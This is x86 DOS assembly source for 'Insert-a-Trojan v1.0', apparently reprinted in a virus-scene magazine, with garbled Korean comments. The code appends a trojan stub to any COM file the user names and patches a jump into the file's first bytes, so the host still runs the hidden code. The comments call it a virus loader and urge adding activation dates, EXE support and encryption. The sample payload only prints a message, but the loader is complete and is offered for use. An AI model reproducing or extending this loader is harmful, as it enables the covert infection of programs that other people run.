;
; �a�������a ���� ����                                           CVC 02  97/09
;
;--------------------------------------------------------------> �e�� : Osiris
;
; Insert-a-Trojan v1.0 by Nemesis
;
; Created 12-15-95 for Nemesis' Nifty Mag
;
; This will insert any trojan you create into any COM program without
; causing the program to become inoperative. (It's a goddman virus loader).
; I recommend putting an activation date on your trojan (or a run counter)
; and letting it do it's work.
;
; Originally I wrote an overwiting one is pascal which was quickly hacked
; by NWVA into something a "little" better. This too could be hacked to
; make it better by allowing for EXE trojans and options to encrypt the
; trojan. (both are simple additions)
;
; �e�� COM �a���e �����e�a. ���� �a���a���i ���wЁ�� ���a �a����a�i ��a��
; �� ���a. з�w�E ���i �A�bЁ�� �� ���� �i �������a.
;

.model tiny
.code
 org 100h

start:
        mov     si,81h                  ; Command Line ��á

        mov     di,offset trjname       ;
        call    getparam                ; �a�� ���q ���a��

        mov     ax,3D02h                ; Ё�w �a�� �i��
        lea     dx,trjname
        int     21h

        xchg    ax,bx                   ; BX=�a�� Ѕ�i

        mov     ah,3Fh                  ; ���� �i����
        lea     dx,oldbytes
        mov     cx,3
        int     21h

        mov     ax,4202h                ; �a�� �{�a�� ����
        xor     cx,cx                   ; CX=0
        cwd                             ; DX=0
        int     21h

        sub     ax,3                    ;

        mov     space,byte ptr 0E9h     ; JMP �w�w ����
        mov     word ptr space+1,ax     ; ����


        mov     ah,40h                  ; �a�������a �a��
        mov     dx,offset trojan
        mov     cx,offset end_trojan-offset start
        int     21h

        mov     ax,4200h                ; ��q�a�� ����
        xor     cx,cx
        cwd
        int     21h                     ;


        mov     dx,offset space         ;
        mov     cx,3
        mov     ah,40h
        int     21h

        mov     ax,03Eh                 ; �a�� �h��
        int     21h
        int     20h                     ; �a���a�� �{����

;
trojan:                                 ; �a�������a
        call    realcode
realcode:
        pop     bp
        sub     bp,offset realcode

        lea     si,[bp+oldbytes]        ; �|���� ���� ��ǡ��
        mov     di,100h
        push    di
        movsw
        movsb

;
; Insert your trojan here. It's fun :) (and lame)
;

        mov     ah,09h
        lea     dx,[bp+message]
        int     21h

;
;

        ret

message  db 'Test Trojan!',0Dh,0Ah,'$'
oldbytes db 3 dup (0)



end_trojan:


getparam:                       ;

ks:
        lodsb                   ; SI->AL
        cmp     al,' '          ; �a�A���a ?
        jne     getname         ;
        loope   ks              ;

read_it:
        lodsb                   ;
getname:
        cmp     al,0Ah          ; �a�a���� �{ ?
        je      done_scan

        cmp     al,' '          ;
        jbe     done_scan
        stosb                   ; AL->DI

        loop    read_it

done_scan:
        ret

trjname db 76 dup(0)            ; File Name
space   db 3  dup(?)            ; Filler

end start